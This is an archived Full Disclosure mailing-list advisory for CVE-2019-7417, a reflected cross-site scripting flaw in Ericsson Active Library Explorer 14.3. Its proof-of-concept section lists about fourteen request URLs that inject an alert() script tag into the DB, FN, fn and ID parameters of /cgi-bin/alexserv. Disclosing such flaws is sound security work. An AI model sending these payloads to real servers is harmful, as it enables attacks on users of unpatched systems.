Vulmon
<!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="26"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#27">By Date</a>
<a href="28"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="26"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#27">By Thread</a>
<a href="28"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>
</div>
<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">[CVE-2019-7417] Cross Site Scripting in Ericsson Active Library Explorer Server Version 14.3</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->
<em>From</em>: Rafael Pedrero <rafael.pedrero () gmail com>
<em>Date</em>: Wed, 6 Feb 2019 07:18:40 +0100
<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;"><!--
# Exploit Title: Cross Site Scripting in Ericsson Active Library Explorer
Server Version 14.3
# Date: 23-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: <a rel="nofollow" href="http://www.ericsson.com">http://www.ericsson.com</a>
# Software Link: <a rel="nofollow" href="http://www.ericsson.com">http://www.ericsson.com</a>
# Version: Ericsson Active Library Explorer Server Version 14.3
# Tested on: all
# CVE : CVE-2019-7417
# Category: webapps
1. Description
XSS exists in Ericsson Active Library Explorer (ALEX) 14.3 in multiple
parameters in the "/cgi-bin/alexserv" servlet, as demonstrated by the DB,
FN, fn, or id parameter.
Active Library Explorer (ALEX) is server-based software that enables users
to browse Ericsson document libraries and documents with a standard web
browser. It consists of the following two parts, which are typically used
in two different web browser windows:
Library View – this part contains functions for accessing libraries
within a folder structure. For example, it is possible to search for
libraries, download libraries, or compare library variants. It is also
possible to start a search for documents in several libraries at the same
time.
Document View – this part contains functions for accessing documents
inside a library. For example, it is possible to search for documents or
within documents in individual libraries, and to print or bookmark
documents.
2. Proof of Concept
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&fn=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&fn=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?id=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?id=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
id=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E&fn=docno_metadata.txt
Parameter
id=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=23034&fn=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=23034&fn=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E&FN=hlex_help.html
Parameter
ID=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=3020&FN=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=3020&FN=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E&FN=alex.html
Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&ac=image&fn=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&ac=image&fn=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=alex_help.ahx&FN=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=alex_help.ahx&FN=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E&CH=LibraryBrowser
Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E&FN=12446-2885Uen.E.html
Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&AC=image&FN=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&AC=image&FN=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E
Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>
URL
<a rel="nofollow" href="http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=%3CSCRIPT%3Ealert">http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=%3CSCRIPT%3Ealert</a>(%22XSS%22);%3C/SCRIPT%3E&FN=help.html&CH=LibraryBrowser
Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>
3. Solution:
Update to last version this product.
Patch:
<a rel="nofollow" href="https://www.owasp.org/index.php/XSS_">https://www.owasp.org/index.php/XSS_</a>(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules
-->
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives & RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="26"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#27">By Date</a>
<a href="28"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="26"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#27">By Thread</a>
<a href="28"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>[CVE-2019-7417] Cross Site Scripting in Ericsson Active Library Explorer Server Version 14.3</strong> <em>Rafael Pedrero (Feb 08)</em>
</li></ul>
<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>